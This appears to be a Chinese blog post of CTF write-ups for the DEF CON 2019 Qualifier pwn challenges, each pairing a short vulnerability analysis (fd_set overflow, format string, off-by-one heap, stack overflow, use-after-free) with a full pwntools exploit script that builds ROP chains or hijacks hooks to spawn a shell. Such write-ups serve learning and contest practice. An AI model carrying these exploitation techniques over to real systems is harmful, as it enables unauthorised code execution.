Defcon2019Q

  1. Defcon Qual 2019 Pwn
    1. shitorrent
    2. speedrun-009
    3. babyheap
    4. speedrun-1
    5. speedrun-02
    6. speedrun-07
    7. speedrun-10

Defcon Qual 2019 Pwn

DEF CON CTF

shitorrent

题目描述

22个队伍做出来,这题还是有点难度的。看来作者写了一个消息传递的程序。 附件有可执行程序和源码。

分析程序

静态链接

检查保护

程序功能

添加admin pc需要自己开启一个socket发送字符串 TORADMIN

所以我开启了两个网络程序。

import socket 
from time import sleep 
import sys
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(('0.0.0.0',2332))
sock.listen(100)
cnt=0

while True: 
    print('listening ...')
    try: 
        csock,addr=sock.accept()
    except KeyboardInterrupt:
        csock.close()
        print("Exited")
        sys.exit(0)
    print("Connected to ",addr)
    rp=csock.recv(100)
    print(rp)
    csock.send(b'TORADMIN')
    print("Send TORADMIN")
    sleep(0.01)
    csock.send(b'i am admin,hacking u')
    print("Send HACK #%d"%cnt)
    cnt += 1
    csock.close()
import socket 
from time import sleep 
import sys
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(('0.0.0.0',2333))
sock.listen(100)
cnt=0

while True: 
    print('listening ...')
    try: 
        csock,addr=sock.accept()
    except KeyboardInterrupt:
        csock.close()
        print("Exited")
        sys.exit(0)
    print("Connected to ",addr)
    rp=csock.recv(100)
    print(rp)
    csock.send(b'LISTENER')
    print("Send Listener")
    sleep(0.01)
    csock.send(b'i am admin,hacking u')
    print("Send HACK #%d"%cnt)
    cnt += 1
    csock.close()

仔细分析源码后,漏洞点锁定在 FD_SET(scok,rfds)

add_node

vscode 跳进 FD_SET 定义

宏定义

struct fd_set

可以看出fds_bits有固定大小为1024 bits。通过标记相应位表示相应的fd正在占用。

源码设置了fd上限为65536,fds变量空间在main函数栈上。生成多个fd使得fdset发生溢出。

攻击思路

  • 存在栈溢出,需要绕过canary,从源码可知,创建listener生成的sock,增加fd数量,但不会放入 fd_set。那么可先申请一批listener,这样就绕过canary了。
  • 程序是静态链接的,ROPgadget找到ropchain
  • ROP -> Pwned!

Pwned!

exp

#!/usr/bin/env python
#coding=utf8
from pwn import * 
import primedbg 
import sys 
from struct import pack

# Padding goes here
def ropchain():
    p = ''
    p += pack('<Q', 0x0000000000407888) # pop rsi ; ret
    p += pack('<Q', 0x00000000006da0e0) # @ .data
    p += pack('<Q', 0x00000000004657fc) # pop rax ; ret
    p += '/bin//sh'
    p += pack('<Q', 0x00000000004055c1) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x0000000000407888) # pop rsi ; ret
    p += pack('<Q', 0x00000000006da0e8) # @ .data + 8
    p += pack('<Q', 0x0000000000460b90) # xor rax, rax ; ret
    p += pack('<Q', 0x00000000004055c1) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x0000000000400706) # pop rdi ; ret
    p += pack('<Q', 0x00000000006da0e0) # @ .data
    p += pack('<Q', 0x0000000000407888) # pop rsi ; ret
    p += pack('<Q', 0x00000000006da0e8) # @ .data + 8
    p += pack('<Q', 0x0000000000465855) # pop rdx ; ret
    p += pack('<Q', 0x00000000006da0e8) # @ .data + 8
    p += pack('<Q', 0x0000000000460b90) # xor rax, rax ; ret
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
    p += pack('<Q', 0x0000000000490920) # add rax, 1 ; ret
    p += pack('<Q', 0x0000000000490920) # add rax, 1 ; ret
    p += pack('<Q', 0x00000000004172e5) # syscall
    #print(len(p))
    res=[]
    for byte in p:
        num=ord(byte)
        for i in range(8):
            res.append(num&1)
            num=num>>1
    success('bitmap len=%d'%(len(res)))
    #print(res)
    return res

context.arch='amd64'
io=process('./shitorrent')
if len(sys.argv)==2 and sys.argv[1]=='dbg':
    primedbg.p_attach_dbg(io,[0x00000A3B])

def add_pc(host):
    global io
    io.sendlineafter('flag','a')
    io.sendlineafter('enter host\n',host[0])
    io.sendlineafter('enter port',str(host[1]))

def del_pc(fd):
    global io 
    io.sendlineafter('flag','r')
    sleep(0.01)
    io.sendline(str(fd))


#0x0000000000400706: pop rdi; ret;

def test():
    admin=('134.175.229.111',2332)
    admin2=('127.0.0.1',2332)
    listener=('134.175.229.111',2333)
    add_pc(admin2)

    io.interactive()
    pass

def attack():
    presize=0x98*8
    bitmap=ropchain()
    admin=('127.0.0.1',2332)
    listener=('127.0.0.1',2333)
    for i in range(presize-3):
        if(i%8==0):
            success('Byte[%d]'%(i/8))
        add_pc(listener)

    bitmaplen=len(bitmap)
    cnt=0
    #set all bits
    for i in bitmap:
        if(cnt%8==0):
            success('bitmap %d/%d'%(cnt,bitmaplen))
        add_pc(admin)
        cnt +=1

    #clear some bits
    cnt=0
    for i in bitmap:
        if cnt%8==0:
            success('bitmap %d/%d'%(cnt,bitmaplen))
        if i==0:
            del_pc(presize+cnt)
        cnt +=1

    io.sendlineafter('flag','q')
    io.interactive()

if __name__=='__main__':
    attack()

speedrun-009

程序保护检查

保护全开

变量栈分布

漏洞点

格式化字符串漏洞、栈溢出

攻击思路

  • fmt 泄露栈上内容,得到libc一些符号地址,one_gadget也就有了
  • fmt 泄露canary
  • ROP 到one_gadget

Pwned!

#!/usr/bin/env python
#coding=utf8
from pwn import * 
import primedbg 
import sys 
context.arch='amd64'
io=process('./speedrun-009')
if len(sys.argv)==2 and sys.argv[1]=='dbg':
    primedbg.p_attach_dbg(io,[0x00000A3B])
#print(io.libs()[io.libc])
#print(hex(io.libc.address))
def cmd(idx):
    io.sendafter(' or 3\n',str(idx))

def r_v5(c):
    cmd(1)
    # max 0x5dc 
    # v5[0x408]
    sleep(0.01)
    io.send(c)

def r_s(c):
    cmd(2)
    # max read 0xc8
    # s[0xc7]
    sleep(0.01)
    io.send(c)

def leak(offset):
    payload='a'*8+'.%'+str(offset)+'$pb*8'
    r_s(payload)
    io.recvuntil('a'*8+'.')
    return io.recvuntil('b*8',True)

if __name__=='__main__':
    r_v5('hello')
    canary=int(leak(163),16)
    libc_base=int(leak(27),16)-6396400
    print(hex(libc_base))
    one=libc_base+0x4f2c5
    success(hex(one))
    v5='a'*0x408+p64(canary)+'b'*8+p64(one)
    r_v5(v5)
    #raw_input()
    cmd(3)
    io.send('cat flag\n')
    io.interactive()

babyheap

Reversing

primelee@vmware Desktop/CTF/now % strings libc.so| grep 'release version'                                                                                  22:16:19
GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.

libc.so 版本 2.29

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   babyheap_new

保护全开

-----Yet Another Babyheap!-----
[M]alloc
[F]ree
[S]how
[E]xit
------------------------
Command:
>

功能菜单

  while ( buf != '\n' && buf )
  {
    *(_BYTE *)(*v4 + v3) = buf;
    read(0, &buf, 1uLL);
    if ( v2 == v3 )
      return 0LL;
    ++v3;
  }
  return 0LL;
}

一个字节溢出

Pwning

  1. 填满 tcache list , free chunk X 到 unsorted bin,再free下一个chunk 调用 unlink,合并到 top chunk ,malloc 7次清空tcache list,malloc 泄露 unsorted bin 地址得到 libc 基地址
  2. 一个字节溢出改下一个 chunk B 的 size ,再次 malloc chunk B 可以覆盖下一个 chunk C , 此时 chunk C 在 tcache list ,fd 被篡改为 free_hook ,malloc 两次写 one gadget 入 free_hook。

Pwned!

#! /usr/bin/env python
from pwn import * 
import sys

context.terminal=['tmux','splitw','-h']

def p_attach_dbg(io,brk_pts=[],syms={},init_cmd=''):
    elf_base=io.libs()['/home/primelee/Desktop/CTF/now/babyheap_new']
    cmd=""
    for each in brk_pts:
        cmd += 'b *'+hex(each+elf_base)+'\n'
    for sym in syms:
        cmd += 'set $'+sym+'='+str(syms[sym]+elf_base)+'\n'
    print(cmd)
    cmd += init_cmd

    #optional debug env={"LD_PRELOAD":"./libc.so.6"}
    gdb.attach(io,cmd)


def add(p,sz,c):
    p.sendlineafter('>','M')
    p.sendlineafter('>',str(sz))
    p.sendlineafter('>',c)

def add2(p,sz,c):
    p.sendlineafter('>','M')
    p.sendlineafter('>',str(sz))
    p.sendafter('>',c)

def free(p,idx):
    p.sendlineafter('>','F')
    p.sendlineafter('>',str(idx))

def show(p,idx):
    p.sendlineafter('>','S')
    p.sendlineafter('>',str(idx))

if __name__=='__main__':
    elf=ELF('./babyheap_new',False)
    libc=ELF('./libc.so',False)
    free_hook=libc.symbols['__free_hook']
    system=libc.symbols['system']
    puts_got=elf.got['puts']

    io=process('./babyheap_new')

    if len(sys.argv)==2 and sys.argv[1]=='pdbg':
        #context.log_level='debug'
        p_attach_dbg(io,[0x00143C,],syms={
            'list':0x4060,
            'free':0x00013CC,
            '_free':0x00001414,
            'test':0x0133D
        })

    # debug add:0x000013C6, free:0x00013CC

    # add(io,0xf8,'to be overflowed') #1
    # free(io,1)

    for i in range(0x7):
        add(io,0xf8,str(i)) #i
    add(io,1,'7') #7
    add(io,0x1,'8') #8

    for i in range(0x7):
        free(io,i)
    free(io,7)  
    free(io,8)

    for i in range(7):
        add(io,0xf8,'/bin/sh;') #i

    add(io,0x1,'\xa0')

    show(io,7) 
    io.recvn(1)
    unsorted_bin=u64(io.recvn(6).ljust(8,'\x00'))
    lib_base=unsorted_bin-1985696
    free_hook=lib_base+free_hook
    system=lib_base+0x52fd0
    one_gadget=lib_base+0x106ef8
    success(hex(unsorted_bin))
    success('free_hook: %#x\nsystem: %#x'%(free_hook,system))

    free(io,6)
    add(io,0xf8,'a'*0xf8+'\x81')
    free(io,5)
    free(io,4)

    add(io,0x178,'a'*0xf8+'b'*8+p64(free_hook)[:6]) #4
    add(io,0x1,'5')
    add2(io,0x6,p64(one_gadget)[:7]) #6
    show(io,1)

    free(io,0)  

    io.interactive()

speedrun-1

Reversing

primelee@vmware Desktop/CTF/now % file speedrun-001 
speedrun-001: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e9266027a3231c31606a432ec4eb461073e1ffa9, stripped

primelee@vmware Desktop/CTF/now % checksec speedrun-001                                                                                               17:03:51
[*] '/home/primelee/Desktop/CTF/now/speedrun-001'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

静态编译、无栈溢出保护、无PIE、去符号。

无符号的静态编译程序,不恢复符号逆向逆到头大,用 IDA -> File -> Load file -> FLIRT signature 找到 ubuntu 18.04 glibc2.27 的签名文件,导入生成恢复大部分glibc符号。

至于版本如何确定,我的方法是

strings speedrun-001 | grep "ubuntu"
primelee@vmware Desktop/CTF/now % strings speedrun-001 | grep "ubuntu"
TLS generation counter wrapped!  Please report as described in <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0

这样ubuntu版本就泄露出来了,但有些出题人比较狡猾,可能 GCC版本是 Debian的,这是可以通过 strings 查看 有无tcache字符串来区分 2.26前后版本。加载有偏差的版本只能恢复少部分的符号。

__int64 sub_400B60()
{
  char buf; // [rsp+0h] [rbp-400h]

  puts("Any last words?");
  _libc_read(0, &buf, 0x7D0uLL);
  return sub_40F710((__int64)"This will be the last thing that you say: %s\n", &buf);
}

简单栈溢出

Pwning

primelee@vmware Desktop/CTF/now % ROPgadget --binary speedrun-001 --ropchain --silent> ropchain

ROPgadget 生成 system(“/bin/sh”) 的 ropchain 。

Pwned!

#!/usr/bin/env python2
# execve generated by ROPgadget

from pwn import *  

from struct import pack

io=process('./speedrun-001')

# Padding goes here
p = 'a'*0x400+'abcdefgh' #rbp

p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x0000000000415664) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f471) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444bc0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f471) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x00000000004498b5) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444bc0) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040129c) # syscall


io.send(p)
io.interactive()

speedrun-02

动态链接的栈溢出。

leak libc,return one_gadget

from pwn import * 
import primedbg 
context.arch='amd64'
elf=ELF('./speedrun-002')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_plt=elf.symbols['puts']
puts_got=elf.got['puts']
pop_rdi=0x00000000004008a3

io=process('./speedrun-002')
io.sendline('Everything intelligent is so boring.') 

payload='a'*0x408+\
    flat([
        pop_rdi,
        puts_got,
        puts_plt,
        0x40074C, # key-main

    ])
io.recvuntil('What an interesting thing')
io.send(payload)
io.recvuntil('Fascinating.\n')
key=u64(io.recv(7)[:6].ljust(8,chr(0)))
libcbase=key-libc.symbols['puts']
success('libc base: %#x'%libcbase)

io.sendline('Everything intelligent is so boring.') 

payload='a'*0x408+\
    flat([
       0x10a38c+libcbase
    ])
io.recvuntil('What an interesting thing')
io.send(payload)

io.interactive()

# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL

# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   [rsp+0x40] == NULL

# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

speedrun-07

Reversing

ssize_t hack()
{
  int v1; // [rsp+8h] [rbp-408h]
  char v2; // [rsp+Eh] [rbp-402h]
  char v3; // [rsp+Fh] [rbp-401h]
  char buf[1024]; // [rsp+10h] [rbp-400h]

  read(0, buf, 0x400uLL);
  while ( 1 )
  {
    puts("Changes you'd like to make (y/n)?");
    read(0, &v3, 1uLL);
    if ( v3 == 'n' )
      break;
    v1 = 0;
    read(0, &v1, 1uLL);
    read(0, (char *)&v1 + 1, 1uLL);
    read(0, &v2, 1uLL);
    buf[v1] = v2;
  }
  return write(1, "So cool.\n", 9uLL);
}

buf[v1]=v2,buf地址后0xffff位任意写。程序开了PIE。

Pwning

ROP的指令跳转需要ELF_addr和libc的地址才能getshell。无奈情况只能用猜字节,main函数栈返回地址是libc_start_main+231,改后三个字节为 one_gadget,简单计算暴力攻击4096次应该能爆出来。

Pwned!

[+] Starting local process './speedrun-007': pid 23454
[+] Receiving all data: Done (0B)
[*] Process './speedrun-007' stopped with exit code -11 (SIGSEGV) (pid 23454)
('Try #%d', 2704)
[+] Starting local process './speedrun-007': pid 23458
[+] Receiving all data: Done (0B)
[*] Process './speedrun-007' stopped with exit code -11 (SIGSEGV) (pid 23458)
('Try #%d', 2705)
[+] Starting local process './speedrun-007': pid 23462
[+] Receiving all data: Done (25B)
[*] Process './speedrun-007' stopped with exit code -14 (SIGALRM) (pid 23462)
primelee@vmware Desktop/CTF/now %

2705次攻击成功了 ;-(

primelee@vmware Desktop/CTF/now % cat pwn_flag
OOO{defcon_speedrun_007}
from pwn import * 
import primedbg


# context.terminal=['tmux','splitw','-h'] 
# io=gdb.debug(['./speedrun-007']) 
context.arch='amd64'
def pwning():
    io=process('./speedrun-007') 
    #primedbg.p_attach_dbg(io,[0x9F6]) #0x9F6,0x0873  
    one_gadget=0x10a38c

    def pquit():
        io.recvuntil("Changes you'd like to make (y/n)?\n") 
        io.send('n')

    def edit(offset,val):
        io.recvuntil("Changes you'd like to make (y/n)?\n")
        sleep(0.01)
        io.send('y')
        sleep(0.1)
        io.send(chr(offset & 0xff))
        sleep(0.1)
        io.send(chr((offset>>8)&0xff))
        sleep(0.01)
        io.send(chr(val))

    pop_rdi=0x0000000000000a63
    ret=0x0000000000000696

    # io.sendline('buf');sleep(0.01)
    # pquit()

    io.send('buf');sleep(0.01)
    offset=0x200
    val=0x20
    edit(0x638,0x8c)
    edit(0x639,0xa3)
    edit(0x63a,0x10)
    pquit()
    io.recvuntil('L8R.\n')

    sleep(0.1)
    io.sendline('cat flag\n')
    try:
        res=io.recvall(200)
        if 'OOO{' in res:
            f=open("pwn_flag",'w')
            f.write(res)
            f.close()
            return True
        else:
            return False
    except EOFError:
        #io.close()
        print("False")
        return False


if __name__=="__main__":
    i=1735
    while True:
        i+=1
        print("Try #%d",i)
        if pwning():
            break




# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL

# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints: 
#   [rsp+0x40] == NULL

# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL""

#0x638

speedrun-10

Reversing

primelee@vmware Desktop/CTF/now % checksec speedrun-010                                                                                        23:29:52
[*] '/home/primelee/Desktop/CTF/now/speedrun-010'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
primelee@vmware Desktop/CTF/now %  ./speedrun-010                                                                                              23:32:23
Secure Coding is hard!
Choose something.
1, 2, 3, 4, or 5

奇怪的菜单题,数据结构设计也奇怪。

case '1':
        if ( v4 > 5 )
          return __readfsqword(0x28u) ^ v8;
        ++v4;
        puts("Need a name");
        v7 = (char *)malloc(0x30uLL);
        read(0, v7 + 8, 0x17uLL);
        v7[31] = 0;
        *((_QWORD *)v7 + 4) = &puts;
        name_list[v4 - 1] = v7;
        break;

name_chunk 结构如图

# name_chunk [0,48]
# -[8,32) name_string
# -[32,40) puts
case '2':
        if ( v3 > 5 )
          return __readfsqword(0x28u) ^ v8;
        ++v3;
        puts("Need a message");
        v6 = (char *)malloc(0x30uLL);
        v0 = (__int64)(v6 + 16);
        read(0, v6 + 16, 0x18uLL);
        v6[40] = 0;
        (*((void (__fastcall **)(char *, __int64))name_list[v4 - 1] + 4))((char *)name_list[v4 - 1] + 8, v0);
        *((_QWORD *)v6 + 1) = &puts;
        (*((void (__fastcall **)(const char *))v6 + 1))(" says ");
        (*((void (__fastcall **)(char *))v6 + 1))(v6 + 16);
        (*((void (__fastcall **)(const char *))v6 + 1))("\n");
        *(_QWORD *)v6 = name_list[v4 - 1];
        msg_list[v3 - 1] = v6;
        break;

msg_chunk 定义

# msg_chunk [0,48]
# -[0,8) p_name_chunk
# -[8,16) puts 
# -[16,40]  msg_string
case '3':
        if ( !v4 )
          return __readfsqword(0x28u) ^ v8;
        free(name_list[v4 - 1]);
        break;
      default:
        if ( buf != '4' || !v3 )
          return __readfsqword(0x28u) ^ v8;
        free(msg_list[v3-- - 1]);
        break;

漏洞在于释放堆,为置零,通过UAF可以泄露puts@got内容。name_chunk 和 msg_chunk 重叠,更改name_chunk 处的puts为system实现弹shell。

Pwned!

#! /bin/env python
#coding=utf8
#============
# name_chunk [0,48]
# -[8,32) name_string
# -[32,40) puts
# 
# msg_chunk [0,48]
# -[0,8) p_name_chunk
# -[8,16) puts 
# -[16,40]  msg_string
#============

from pwn import * 
import primedbg
import sys 

context.terminal=['tmux','splitw','-h']
io=process('./speedrun-010')
libc=ELF("./libc.so.6",False)

if len(sys.argv)==2 and sys.argv[1]=='pdbg':
    primedbg.attach_dbg(io,[0x000AE7,0x009C0],{'name':0x202080,'msg':0x00202040},'c\n')
    raw_input()

def cmd(io,idx):
    sleep(0.1)
    io.send(str(idx))

def add_name(io,name):
    cmd(io,1)
    sleep(0.1)
    io.send(name)

def add_msg(io,msg):
    cmd(io,2)
    sleep(0.1)
    io.send(msg)

def free_name(io):
    cmd(io,3)

def free_msg(io):
    cmd(io,4)

add_name(io,'primelee')
add_msg(io,' I \'m is hacking!')

raw_input()

free_name(io)

add_msg(io,'1'*16)

io.recvuntil('1'*16)
puts=u64(io.recv(6).ljust(8,'\x00'))
success('%#x'%puts)
libcbase=puts-libc.symbols['puts']
system=libcbase+libc.symbols['system']

add_name(io,'/bin/sh\x00')
free_name(io)

add_msg(io,'\x00'*16+p64(system))

io.interactive()

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。

文章标题:Defcon2019Q

本文作者:枫云李

发布时间:2020-04-14, 00:00:00

最后更新:2020-04-23, 13:57:48

原始链接:https://primelyw.github.io/2020/04/14/Defcon2019Q/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
github